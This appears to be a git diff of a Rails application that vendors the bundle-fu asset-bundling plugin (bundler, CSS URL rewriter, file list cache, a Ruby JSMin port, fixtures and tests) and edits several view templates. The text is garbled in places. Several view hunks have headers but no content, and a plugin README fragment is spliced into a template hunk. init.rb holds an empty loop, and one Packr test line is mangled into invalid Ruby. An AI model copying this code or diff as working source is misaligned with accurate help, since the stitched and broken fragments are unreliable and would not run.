-<% end -%>
\ No newline at end of file
+<% end -%>
diff --git a/app/views/contexts/show.html.erb b/app/views/contexts/show.html.erb
index eded894d..a22e4728 100644
--- a/app/views/contexts/show.html.erb
+++ b/app/views/contexts/show.html.erb
@@ -8,5 +8,5 @@
\ No newline at end of file
diff --git a/app/views/feedlist/index.html.erb b/app/views/feedlist/index.html.erb
index 7acc405c..5c855e16 100644
--- a/app/views/feedlist/index.html.erb
+++ b/app/views/feedlist/index.html.erb
@@ -123,7 +123,7 @@
\ No newline at end of file
diff --git a/app/views/projects/show.html.erb b/app/views/projects/show.html.erb
index 0c7781e3..696cd0cf 100644
--- a/app/views/projects/show.html.erb
+++ b/app/views/projects/show.html.erb
@@ -74,5 +74,5 @@
<%= render :partial => "shared/add_new_item_form" %>
- <%= render "sidebar/sidebar" %>
+ <%- # TODO: this used to be render :template, but somehow it was not
+ #rendered after the rails2.2.2 upgrade -%>
+ <%= render :file => "sidebar/sidebar.html.erb" %>
\ No newline at end of file
diff --git a/app/views/todos/list_deferred.html.erb b/app/views/todos/list_deferred.html.erb
index 56c7d538..2520f1ce 100644
--- a/app/views/todos/list_deferred.html.erb
+++ b/app/views/todos/list_deferred.html.erb
@@ -11,5 +11,5 @@
\ No newline at end of file
diff --git a/app/views/todos/tag.html.erb b/app/views/todos/tag.html.erb
index b7e0ff30..a40e38ac 100644
--- a/app/views/todos/tag.html.erb
+++ b/app/views/todos/tag.html.erb
@@ -23,5 +23,5 @@
+
+That's it!
+
+"More info":http://code.google.com/p/bundle-fu/
diff --git a/vendor/plugins/bundle-fu/environment.rb b/vendor/plugins/bundle-fu/environment.rb
new file mode 100644
index 00000000..bf530613
--- /dev/null
+++ b/vendor/plugins/bundle-fu/environment.rb
@@ -0,0 +1,4 @@
+# load all files
+for file in ["/lib/bundle_fu.rb", "/lib/bundle_fu/js_minimizer.rb", "/lib/bundle_fu/css_url_rewriter.rb", "/lib/bundle_fu/file_list.rb"]
+ require File.expand_path(File.join(File.dirname(__FILE__), file))
+end
diff --git a/vendor/plugins/bundle-fu/init.rb b/vendor/plugins/bundle-fu/init.rb
new file mode 100644
index 00000000..695d9d5e
--- /dev/null
+++ b/vendor/plugins/bundle-fu/init.rb
@@ -0,0 +1,6 @@
+# EZ Bundle
+for file in ["/lib/bundle_fu.rb", "/lib/js_minimizer.rb", "/lib/bundle_fu/file_list.rb"]
+end
+require File.expand_path(File.join(File.dirname(__FILE__), "environment.rb"))
+
+ActionView::Base.send(:include, BundleFu::InstanceMethods)
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/lib/bundle_fu.rb b/vendor/plugins/bundle-fu/lib/bundle_fu.rb
new file mode 100644
index 00000000..5991b97a
--- /dev/null
+++ b/vendor/plugins/bundle-fu/lib/bundle_fu.rb
@@ -0,0 +1,146 @@
+class BundleFu
+
+ class << self
+ attr_accessor :content_store
+ def init
+ @content_store = {}
+ end
+
+ def bundle_files(filenames=[])
+ output = ""
+ filenames.each{ |filename|
+ output << "/* --------- #{filename} --------- */ "
+ output << "\n"
+ begin
+ content = (File.read(File.join(RAILS_ROOT, "public", filename)))
+ rescue
+ output << "/* FILE READ ERROR! */"
+ next
+ end
+
+ output << (yield(filename, content)||"")
+ }
+ output
+ end
+
+ def bundle_js_files(filenames=[], options={})
+ output =
+ bundle_files(filenames) { |filename, content|
+ if options[:compress]
+ if Object.const_defined?("Packr")
+ content
+ else
+ JSMinimizer.minimize_content(content)
+ end
+ else
+ content
+ end
+ }
+
+ if Object.const_defined?("Packr")
+ # use Packr plugin (http://blog.jcoglan.com/packr/)
+ Packr.new.pack(output, options[:packr_options] || {:shrink_vars => false, :base62 => false})
+ else
+ output
+ end
+
+ end
+
+ def bundle_css_files(filenames=[], options = {})
+ bundle_files(filenames) { |filename, content|
+ BundleFu::CSSUrlRewriter.rewrite_urls(filename, content)
+ }
+ end
+ end
+
+ self.init
+
+ module InstanceMethods
+ # valid options:
+ # :name - The name of the css and js files you wish to output
+ # returns true if a regen occured. False if not.
+ def bundle(options={}, &block)
+ # allow bypassing via the querystring
+ session[:bundle_fu] = (params[:bundle_fu]=="true") if params.has_key?(:bundle_fu)
+
+ options = {
+ :css_path => ($bundle_css_path || "/stylesheets/cache"),
+ :js_path => ($bundle_js_path || "/javascripts/cache"),
+ :name => ($bundle_default_name || "bundle"),
+ :compress => true,
+ :bundle_fu => ( session[:bundle_fu].nil? ? ($bundle_fu.nil? ? true : $bundle_fu) : session[:bundle_fu] )
+ }.merge(options)
+
+ # allow them to bypass via parameter
+ options[:bundle_fu] = false if options[:bypass]
+
+ paths = { :css => options[:css_path], :js => options[:js_path] }
+
+ content = capture(&block)
+ content_changed = false
+
+ new_files = nil
+ abs_filelist_paths = [:css, :js].inject({}) { | hash, filetype | hash[filetype] = File.join(RAILS_ROOT, "public", paths[filetype], "#{options[:name]}.#{filetype}.filelist"); hash }
+
+ # only rescan file list if content_changed, or if a filelist cache file is missing
+ unless content == BundleFu.content_store[options[:name]] && File.exists?(abs_filelist_paths[:css]) && File.exists?(abs_filelist_paths[:js])
+ BundleFu.content_store[options[:name]] = content
+ new_files = {:js => [], :css => []}
+
+ content.scan(/(href|src) *= *["']([^"^'^\?]+)/i).each{ |property, value|
+ case property
+ when "src"
+ new_files[:js] << value
+ when "href"
+ new_files[:css] << value
+ end
+ }
+ end
+
+ [:css, :js].each { |filetype|
+ output_filename = File.join(paths[filetype], "#{options[:name]}.#{filetype}")
+ abs_path = File.join(RAILS_ROOT, "public", output_filename)
+ abs_filelist_path = abs_filelist_paths[filetype]
+
+ filelist = FileList.open( abs_filelist_path )
+
+ # check against newly parsed filelist. If we didn't parse the filelist from the output, then check against the updated mtimes.
+ new_filelist = new_files ? BundleFu::FileList.new(new_files[filetype]) : filelist.clone.update_mtimes
+
+ unless new_filelist == filelist
+ FileUtils.mkdir_p(File.join(RAILS_ROOT, "public", paths[filetype]))
+ # regenerate everything
+ if new_filelist.filenames.empty?
+ # delete the javascript/css bundle file if it's empty, but keep the filelist cache
+ FileUtils.rm_f(abs_path)
+ else
+ # call bundle_css_files or bundle_js_files to bundle all files listed. output it's contents to a file
+ output = BundleFu.send("bundle_#{filetype}_files", new_filelist.filenames, options)
+ File.open( abs_path, "w") {|f| f.puts output } if output
+ end
+ new_filelist.save_as(abs_filelist_path)
+ end
+
+ if File.exists?(abs_path) && options[:bundle_fu]
+ tag = filetype==:css ? stylesheet_link_tag(output_filename) : javascript_include_tag(output_filename)
+ if Rails::version < "2.2.0"
+ concat( tag , block.binding)
+ else
+ #concat doesn't need block.binding in Rails >= 2.2.0
+ concat( tag )
+ end
+
+ end
+ }
+
+ unless options[:bundle_fu]
+ if Rails::version < "2.2.0"
+ concat( content, block.binding )
+ else
+ #concat doesn't need block.binding in Rails >= 2.2.0
+ concat( content )
+ end
+ end
+ end
+ end
+end
diff --git a/vendor/plugins/bundle-fu/lib/bundle_fu/css_url_rewriter.rb b/vendor/plugins/bundle-fu/lib/bundle_fu/css_url_rewriter.rb
new file mode 100644
index 00000000..8df79654
--- /dev/null
+++ b/vendor/plugins/bundle-fu/lib/bundle_fu/css_url_rewriter.rb
@@ -0,0 +1,42 @@
+class BundleFu::CSSUrlRewriter
+ class << self
+ # rewrites a relative path to an absolute path, removing excess "../" and "./"
+ # rewrite_relative_path("stylesheets/default/global.css", "../image.gif") => "/stylesheets/image.gif"
+ def rewrite_relative_path(source_filename, relative_url)
+ relative_url = relative_url.to_s.strip.gsub(/["']/, "")
+
+ return relative_url if relative_url.first == "/" || relative_url.include?("://")
+
+ elements = File.join("/", File.dirname(source_filename)).gsub(/\/+/, '/').split("/")
+ elements += relative_url.gsub(/\/+/, '/').split("/")
+
+ index = 0
+ while(elements[index])
+ if (elements[index]==".")
+ elements.delete_at(index)
+ elsif (elements[index]=="..")
+ next if index==0
+ index-=1
+ 2.times { elements.delete_at(index)}
+
+ else
+ index+=1
+ end
+ end
+
+ elements * "/"
+ end
+
+ # rewrite the URL reference paths
+ # url(../../../images/active_scaffold/default/add.gif);
+ # url(/stylesheets/active_scaffold/default/../../../images/active_scaffold/default/add.gif);
+ # url(/stylesheets/active_scaffold/../../images/active_scaffold/default/add.gif);
+ # url(/stylesheets/../images/active_scaffold/default/add.gif);
+ # url('/images/active_scaffold/default/add.gif');
+ def rewrite_urls(filename, content)
+ content.gsub!(/url *\(([^\)]+)\)/) { "url(#{rewrite_relative_path(filename, $1)})" }
+ content
+ end
+
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/lib/bundle_fu/file_list.rb b/vendor/plugins/bundle-fu/lib/bundle_fu/file_list.rb
new file mode 100644
index 00000000..7beb4624
--- /dev/null
+++ b/vendor/plugins/bundle-fu/lib/bundle_fu/file_list.rb
@@ -0,0 +1,64 @@
+require 'fileutils.rb'
+
+class BundleFu::FileList
+ attr_accessor :filelist
+
+ def initialize(filenames=[])
+ self.filelist = []
+
+ self.add_files(filenames)
+ end
+
+ def initialize_copy(from)
+ self.filelist = from.filelist.collect{|entry| entry.clone}
+ end
+
+ def filenames
+ self.filelist.collect{ |entry| entry[0] }
+ end
+
+ def update_mtimes
+ old_filenames = self.filenames
+ self.filelist = []
+ # readding the files will effectively update the mtimes
+ self.add_files(old_filenames)
+ self
+ end
+
+ def self.open(filename)
+ return nil unless File.exists?(filename)
+ b = new
+ File.open(filename, "rb") {|f|
+ b.filelist = Marshal.load(f) # rescue [])
+ }
+ b
+ rescue
+ nil
+ end
+
+ # compares to see if one file list is exactly the same as another
+ def ==(compare)
+ return false if compare.nil?
+ throw "cant compare with #{compare.class}" unless self.class===compare
+
+ self.filelist == compare.filelist
+ end
+
+ def add_files(filenames=[])
+ filenames.each{|filename|
+ self.filelist << [ extract_filename_from_url(filename), (File.mtime(abs_location(filename)).to_i rescue 0) ]
+ }
+ end
+
+ def extract_filename_from_url(url)
+ url.gsub(/^https?:\/\/[^\/]+/i, '')
+ end
+
+ def save_as(filename)
+ File.open(filename, "wb") {|f| f.puts Marshal.dump(self.filelist)}
+ end
+protected
+ def abs_location(filename)
+ File.join(RAILS_ROOT, "public", filename)
+ end
+end
diff --git a/vendor/plugins/bundle-fu/lib/bundle_fu/js_minimizer.rb b/vendor/plugins/bundle-fu/lib/bundle_fu/js_minimizer.rb
new file mode 100644
index 00000000..cef0461e
--- /dev/null
+++ b/vendor/plugins/bundle-fu/lib/bundle_fu/js_minimizer.rb
@@ -0,0 +1,217 @@
+#!/usr/bin/ruby
+# jsmin.rb 2007-07-20
+# Author: Uladzislau Latynski
+# This work is a translation from C to Ruby of jsmin.c published by
+# Douglas Crockford. Permission is hereby granted to use the Ruby
+# version under the same conditions as the jsmin.c on which it is
+# based.
+#
+# /* jsmin.c
+# 2003-04-21
+#
+# Copyright (c) 2002 Douglas Crockford (www.crockford.com)
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy of
+# this software and associated documentation files (the "Software"), to deal in
+# the Software without restriction, including without limitation the rights to
+# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+# of the Software, and to permit persons to whom the Software is furnished to do
+# so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# The Software shall be used for Good, not Evil.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+require 'stringio'
+
+class BundleFu::JSMinimizer
+ attr_accessor :input
+ attr_accessor :output
+
+ EOF = -1
+ @theA = ""
+ @theB = ""
+
+ # isAlphanum -- return true if the character is a letter, digit, underscore,
+ # dollar sign, or non-ASCII character
+ def isAlphanum(c)
+ return false if !c || c == EOF
+ return ((c >= 'a' && c <= 'z') || (c >= '0' && c <= '9') ||
+ (c >= 'A' && c <= 'Z') || c == '_' || c == '$' ||
+ c == '\\' || c[0] > 126)
+ end
+
+ # get -- return the next character from input. Watch out for lookahead. If
+ # the character is a control character, translate it to a space or linefeed.
+ def get()
+ c = @input.getc
+ return EOF if(!c)
+ c = c.chr
+ return c if (c >= " " || c == "\n" || c.unpack("c") == EOF)
+ return "\n" if (c == "\r")
+ return " "
+ end
+
+ # Get the next character without getting it.
+ def peek()
+ lookaheadChar = @input.getc
+ @input.ungetc(lookaheadChar)
+ return lookaheadChar.chr
+ end
+
+ # mynext -- get the next character, excluding comments.
+ # peek() is used to see if a '/' is followed by a '/' or '*'.
+ def mynext()
+ c = get
+ if (c == "/")
+ if(peek == "/")
+ while(true)
+ c = get
+ if (c <= "\n")
+ return c
+ end
+ end
+ end
+ if(peek == "*")
+ get
+ while(true)
+ case get
+ when "*"
+ if (peek == "/")
+ get
+ return " "
+ end
+ when EOF
+ raise "Unterminated comment"
+ end
+ end
+ end
+ end
+ return c
+ end
+
+
+ # action -- do something! What you do is determined by the argument: 1
+ # Output A. Copy B to A. Get the next B. 2 Copy B to A. Get the next B.
+ # (Delete A). 3 Get the next B. (Delete B). action treats a string as a
+ # single character. Wow! action recognizes a regular expression if it is
+ # preceded by ( or , or =.
+ def action(a)
+ if(a==1)
+ @output.write @theA
+ end
+ if(a==1 || a==2)
+ @theA = @theB
+ if (@theA == "\'" || @theA == "\"")
+ while (true)
+ @output.write @theA
+ @theA = get
+ break if (@theA == @theB)
+ raise "Unterminated string literal" if (@theA <= "\n")
+ if (@theA == "\\")
+ @output.write @theA
+ @theA = get
+ end
+ end
+ end
+ end
+ if(a==1 || a==2 || a==3)
+ @theB = mynext
+ if (@theB == "/" && (@theA == "(" || @theA == "," || @theA == "=" ||
+ @theA == ":" || @theA == "[" || @theA == "!" ||
+ @theA == "&" || @theA == "|" || @theA == "?" ||
+ @theA == "{" || @theA == "}" || @theA == ";" ||
+ @theA == "\n"))
+ @output.write @theA
+ @output.write @theB
+ while (true)
+ @theA = get
+ if (@theA == "/")
+ break
+ elsif (@theA == "\\")
+ @output.write @theA
+ @theA = get
+ elsif (@theA <= "\n")
+ raise "Unterminated RegExp Literal"
+ end
+ @output.write @theA
+ end
+ @theB = mynext
+ end
+ end
+ end
+
+ # jsmin -- Copy the input to the output, deleting the characters which are
+ # insignificant to JavaScript. Comments will be removed. Tabs will be
+ # replaced with spaces. Carriage returns will be replaced with linefeeds.
+ # Most spaces and linefeeds will be removed.
+ def jsmin
+ @theA = "\n"
+ action(3)
+ while (@theA != EOF)
+ case @theA
+ when " "
+ if (isAlphanum(@theB))
+ action(1)
+ else
+ action(2)
+ end
+ when "\n"
+ case (@theB)
+ when "{","[","(","+","-"
+ action(1)
+ when " "
+ action(3)
+ else
+ if (isAlphanum(@theB))
+ action(1)
+ else
+ action(2)
+ end
+ end
+ else
+ case (@theB)
+ when " "
+ if (isAlphanum(@theA))
+ action(1)
+ else
+ action(3)
+ end
+ when "\n"
+ case (@theA)
+ when "}","]",")","+","-","\"","\\", "'", '"'
+ action(1)
+ else
+ if (isAlphanum(@theA))
+ action(1)
+ else
+ action(3)
+ end
+ end
+ else
+ action(1)
+ end
+ end
+ end
+ end
+
+ def self.minimize_content(content)
+ js_minimizer = new
+ js_minimizer.input = StringIO.new(content)
+ js_minimizer.output = StringIO.new
+
+ js_minimizer.jsmin
+
+ js_minimizer.output.string
+ end
+
+end
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_1.js b/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_1.js
new file mode 100644
index 00000000..3ce68394
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_1.js
@@ -0,0 +1,12 @@
+function js_1() { alert('hi')};
+
+// this is a function
+function func() {
+ alert('hi')
+ return true
+}
+
+function func() {
+ alert('hi')
+ return true
+}
diff --git a/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_2.js b/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_2.js
new file mode 100644
index 00000000..274bcc6c
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_2.js
@@ -0,0 +1 @@
+function js_2() { alert('hi');};
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_3.js b/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_3.js
new file mode 100644
index 00000000..4b03a216
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/fixtures/public/javascripts/js_3.js
@@ -0,0 +1 @@
+function js_3() { alert('hi')};
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_1.css b/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_1.css
new file mode 100644
index 00000000..42a777f8
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_1.css
@@ -0,0 +1 @@
+css_1 { }
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_2.css b/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_2.css
new file mode 100644
index 00000000..1cfbec26
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_2.css
@@ -0,0 +1 @@
+css_2
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_3.css b/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_3.css
new file mode 100644
index 00000000..88896d73
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/fixtures/public/stylesheets/css_3.css
@@ -0,0 +1,7 @@
+.relative_image_bg {
+ background-image: url(../images/background.gif )
+}
+
+.relative_image_bg_2 {
+ background-image: url( ../images/groovy/background_2.gif )
+}
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/functional/bundle_fu_test.rb b/vendor/plugins/bundle-fu/test/functional/bundle_fu_test.rb
new file mode 100644
index 00000000..4acef146
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/functional/bundle_fu_test.rb
@@ -0,0 +1,228 @@
+require File.join(File.dirname(__FILE__), '../test_helper.rb')
+
+require "test/unit"
+
+# require "library_file_name"
+
+class BundleFuTest < Test::Unit::TestCase
+ def setup
+ @mock_view = MockView.new
+ BundleFu.init # resets BundleFu
+ end
+
+ def teardown
+ purge_cache
+ end
+
+ def test__bundle_js_files__should_include_js_content
+ @mock_view.bundle { @@content_include_all }
+
+ assert_public_files_match("/javascripts/cache/bundle.js", "function js_1()")
+ end
+
+ def test__bundle_js_files_with_asset_server_url
+ @mock_view.bundle { %() }
+ assert_public_files_match("/javascripts/cache/bundle.js", "function js_1()")
+ end
+
+ def test__bundle_js_files__should_use_packr
+ Object.send :class_eval, < {:packr_options_here => "hi_packr"}) { @@content_include_all }
+ assert_public_files_match("/javascripts/cache/bundle.js", "packr_options_here", "Should include packr_options")
+
+
+ Object.send :remove_const, "Packr"
+
+ end
+
+ def test__bundle_js_files__should_default_to_not_compressed_and_include_override_option
+ @mock_view.bundle() { @@content_include_all }
+ default_content = File.read(public_file("/javascripts/cache/bundle.js"))
+ purge_cache
+
+ @mock_view.bundle(:compress => false) { @@content_include_all }
+ uncompressed_content = File.read(public_file("/javascripts/cache/bundle.js"))
+ purge_cache
+
+ @mock_view.bundle(:compress => true) { @@content_include_all }
+ compressed_content = File.read(public_file("/javascripts/cache/bundle.js"))
+ purge_cache
+
+ assert default_content.length == compressed_content.length, "Should default to compressed"
+ assert uncompressed_content.length > compressed_content.length, "Didn't compress the content. (:compress => true) #{compressed_content.length}. (:compress => false) #{uncompressed_content.length}"
+ end
+
+ def test__content_remains_same__shouldnt_refresh_cache
+ @mock_view.bundle { @@content_include_some }
+
+ # check to see each bundle file exists and append some text to the bottom of each file
+ append_to_public_files(cache_files("bundle"), "BOGUS")
+
+ assert_public_files_match("/javascripts/cache/bundle.js", "BOGUS")
+ assert_public_files_match("/stylesheets/cache/bundle.css", "BOGUS")
+
+ @mock_view.bundle { @@content_include_some }
+
+ assert_public_files_match("/javascripts/cache/bundle.js", "BOGUS")
+ assert_public_files_match("/stylesheets/cache/bundle.css", "BOGUS")
+ end
+
+ def test__content_changes__should_refresh_cache
+ @mock_view.bundle { @@content_include_some }
+
+ # check to see each bundle file exists and append some text to the bottom of each file
+ append_to_public_files(cache_files("bundle"), "BOGUS")
+ assert_public_files_match(cache_files("bundle"), "BOGUS")
+
+ # now, pass in some new content. Make sure that the css/js files are regenerated
+ @mock_view.bundle { @@content_include_all }
+ assert_public_files_no_match(cache_files("bundle"), "BOGUS")
+ assert_public_files_no_match(cache_files("bundle"), "BOGUS")
+ end
+
+ def test__modified_time_differs_from_file__should_refresh_cache
+ @mock_view.bundle { @@content_include_some }
+ # we're gonna hack each of them and set all the modified times to 0
+ cache_files("bundle").each{|filename|
+ abs_filelist_path = public_file(filename + ".filelist")
+ b = BundleFu::FileList.open(abs_filelist_path)
+ b.filelist.each{|entry| entry[1] = entry[1] - 100 }
+ b.save_as(abs_filelist_path)
+ }
+
+ append_to_public_files(cache_files("bundle"), "BOGUS")
+ end
+
+ def test__content_remains_same_but_cache_files_dont_match_whats_in_content__shouldnt_refresh_cache
+ # it shouldnt parse the content unless if it differed from the last request. This scenario should never exist, and if it did it would be fixed when the server reboots.
+ @mock_view.bundle { @@content_include_some }
+ abs_filelist_path = public_file("/stylesheets/cache/bundle.css.filelist")
+ b = BundleFu::FileList.open(abs_filelist_path)
+
+ @mock_view.bundle { @@content_include_all }
+ b.save_as(abs_filelist_path)
+ append_to_public_files(cache_files("bundle"), "BOGUS")
+
+ @mock_view.bundle { @@content_include_all }
+ assert_public_files_match(cache_files("bundle"), "BOGUS")
+
+ end
+
+ def test__content_differs_slightly_but_cache_files_match__shouldnt_refresh_cache
+ @mock_view.bundle { @@content_include_all }
+ append_to_public_files(cache_files("bundle"), "BOGUS")
+ @mock_view.bundle { @@content_include_all + " " }
+ assert_public_files_match(cache_files("bundle"), "BOGUS")
+ end
+
+ def test__bundle__js_only__should_output_js_include_statement
+ @mock_view.bundle { @@content_include_some.split("\n").first }
+ lines = @mock_view.output.split("\n")
+ assert_equal(1, lines.length)
+ assert_match(/javascripts/, lines.first)
+ end
+
+ def test__bundle__css_only__should_output_css_include_statement
+ @mock_view.bundle { @@content_include_some.split("\n")[2] }
+ lines = @mock_view.output.split("\n")
+
+ assert_equal(1, lines.length)
+ assert_match(/stylesheets/, lines.first)
+
+ end
+
+ def test__nonexisting_file__should_use_blank_file_created_at_0_mtime
+# dbg
+ @mock_view.bundle { %q{} }
+
+ assert_public_files_match(cache_files("bundle").grep(/javascripts/), "FILE READ ERROR")
+
+ filelist = BundleFu::FileList.open(public_file("/javascripts/cache/bundle.js.filelist"))
+ assert_equal(0, filelist.filelist[0][1], "mtime for first file should be 0")
+ end
+
+ def test__missing_cache_filelist__should_regenerate
+ @mock_view.bundle { @@content_include_some }
+ append_to_public_files(cache_files("bundle"), "BOGUS")
+
+ # now delete the cache files
+ Dir[ public_file("**/*.filelist")].each{|filename| FileUtils.rm_f filename }
+ @mock_view.bundle { @@content_include_some }
+ assert_public_files_no_match(cache_files("bundle"), "BOGUS", "Should have regenerated the file, but it didn't")
+ end
+
+ def test__bypass__should_generate_files_but_render_normal_output
+ @mock_view.bundle(:bypass => true) { @@content_include_some }
+ assert_public_file_exists("/stylesheets/cache/bundle.css")
+ assert_public_file_exists("/stylesheets/cache/bundle.css.filelist")
+
+ assert_equal(@@content_include_some, @mock_view.output)
+ end
+
+ def test__bypass_param_set__should_honor_and_store_in_session
+ @mock_view.params[:bundle_fu] = "false"
+ @mock_view.bundle { @@content_include_some }
+ assert_equal(@@content_include_some, @mock_view.output)
+
+ @mock_view.params.delete(:bundle_bypass)
+ @mock_view.bundle { @@content_include_some }
+ assert_equal(@@content_include_some*2, @mock_view.output)
+ end
+
+private
+
+ def purge_cache
+ # remove all fixtures named "bundle*"
+ Dir[ public_file("**/cache") ].each{|filename| FileUtils.rm_rf filename }
+ end
+
+ def assert_public_file_exists(filename, message=nil)
+ assert_file_exists(public_file(filename), message)
+ end
+
+ def assert_file_exists(filename, message=nil)
+ assert(File.exists?(filename), message || "File #{filename} expected to exist, but didnt.")
+ end
+
+ def assert_public_files_match(filenames, needle, message=nil)
+ filenames.each{|filename|
+ assert_public_file_exists(filename)
+ assert_match(needle.to_regexp, File.read(public_file(filename)), message || "expected #{filename} to match #{needle}, but doesn't.")
+ }
+ end
+
+ def assert_public_files_no_match(filenames, needle, message=nil)
+ filenames.each{ |filename|
+ assert_public_file_exists(filename)
+ assert_no_match(needle.to_regexp, File.read(public_file(filename)), message || "expected #{filename} to not match #{needle}, but does.")
+ }
+ end
+
+ def cache_files(name)
+ ["/javascripts/cache/#{name}.js", "/stylesheets/cache/#{name}.css"]
+ end
+
+ def append_to_public_files(filenames, content)
+ for filename in filenames
+ assert_public_file_exists(filename)
+ File.open(public_file(filename), "a") {|f|
+ f.puts(content)
+ }
+ end
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/functional/css_bundle_test.rb b/vendor/plugins/bundle-fu/test/functional/css_bundle_test.rb
new file mode 100644
index 00000000..fec329e8
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/functional/css_bundle_test.rb
@@ -0,0 +1,55 @@
+require File.join(File.dirname(__FILE__), '../test_helper.rb')
+
+class CSSBundleTest < Test::Unit::TestCase
+ def test__rewrite_relative_path__should_rewrite
+ assert_rewrites("/stylesheets/active_scaffold/default/stylesheet.css",
+ "../../../images/spinner.gif" => "/images/spinner.gif",
+ "../../../images/./../images/goober/../spinner.gif" => "/images/spinner.gif"
+ )
+
+ assert_rewrites("stylesheets/active_scaffold/default/./stylesheet.css",
+ "../../../images/spinner.gif" => "/images/spinner.gif")
+
+ assert_rewrites("stylesheets/main.css",
+ "image.gif" => "/stylesheets/image.gif")
+
+ assert_rewrites("/stylesheets////default/main.css",
+ "..//image.gif" => "/stylesheets/image.gif")
+
+ assert_rewrites("/stylesheets/default/main.css",
+ "/images/image.gif" => "/images/image.gif")
+ end
+
+ def test__rewrite_relative_path__should_strip_spaces_and_quotes
+ assert_rewrites("stylesheets/main.css",
+ "'image.gif'" => "/stylesheets/image.gif",
+ " image.gif " => "/stylesheets/image.gif"
+ )
+ end
+
+ def test__rewrite_relative_path__shouldnt_rewrite_if_absolute_url
+ assert_rewrites("stylesheets/main.css",
+ " 'http://www.url.com/images/image.gif' " => "http://www.url.com/images/image.gif",
+ "http://www.url.com/images/image.gif" => "http://www.url.com/images/image.gif",
+ "ftp://www.url.com/images/image.gif" => "ftp://www.url.com/images/image.gif"
+ )
+ end
+
+ def test__bundle_css_file__should_rewrite_relatiave_path
+ bundled_css = BundleFu.bundle_css_files(["/stylesheets/css_3.css"])
+ assert_match("background-image: url(/images/background.gif)", bundled_css)
+ assert_match("background-image: url(/images/groovy/background_2.gif)", bundled_css)
+ end
+
+ def test__bundle_css_files__no_images__should_return_content
+ bundled_css = BundleFu.bundle_css_files(["/stylesheets/css_1.css"])
+ assert_match("css_1 { }", bundled_css)
+ end
+
+
+ def assert_rewrites(source_filename, rewrite_map)
+ rewrite_map.each_pair{|source, dest|
+ assert_equal(dest, BundleFu::CSSUrlRewriter.rewrite_relative_path(source_filename, source))
+ }
+ end
+end
diff --git a/vendor/plugins/bundle-fu/test/functional/file_list_test.rb b/vendor/plugins/bundle-fu/test/functional/file_list_test.rb
new file mode 100644
index 00000000..a9e3f7d1
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/functional/file_list_test.rb
@@ -0,0 +1,46 @@
+require File.join(File.dirname(__FILE__), '../test_helper.rb')
+
+require "test/unit"
+
+# require "library_file_name"
+
+class FileListTest < Test::Unit::TestCase
+ def setup
+
+ end
+
+ def test__new_files__should_get_mtimes
+ filename = "/javascripts/js_1.js"
+ filelist = BundleFu::FileList.new([filename])
+
+ assert_equal(File.mtime(File.join(RAILS_ROOT, "public", filename)).to_i,filelist.filelist[0][1])
+ end
+
+ def test__serialization
+ filelist_filename = File.join(RAILS_ROOT, "public", "temp")
+ filelist = BundleFu::FileList.new("/javascripts/js_1.js")
+
+ filelist.save_as(filelist_filename)
+ filelist2 = BundleFu::FileList.open(filelist_filename)
+
+ assert(filelist == filelist2, "expected to be same, but differed.\n#{filelist.to_yaml}\n\n#{filelist2.to_yaml}")
+ ensure
+ FileUtils.rm_f(filelist_filename)
+ end
+
+ def test__equality__same_file_and_mtime__should_equate
+ filename = "/javascripts/js_1.js"
+ assert BundleFu::FileList.new(filename) == BundleFu::FileList.new(filename)
+ end
+
+ def test__equality__dif_file_and_mtime__shouldnt_equate
+ filename1 = "/javascripts/js_1.js"
+ filename2 = "/javascripts/js_2.js"
+ assert BundleFu::FileList.new(filename1) != BundleFu::FileList.new(filename2)
+ end
+
+ def test__clone_item
+ b = BundleFu::FileList.new("/javascripts/js_1.js")
+ assert b == b.clone
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/functional/js_bundle_test.rb b/vendor/plugins/bundle-fu/test/functional/js_bundle_test.rb
new file mode 100644
index 00000000..6c31584f
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/functional/js_bundle_test.rb
@@ -0,0 +1,14 @@
+require File.join(File.dirname(__FILE__), '../test_helper.rb')
+
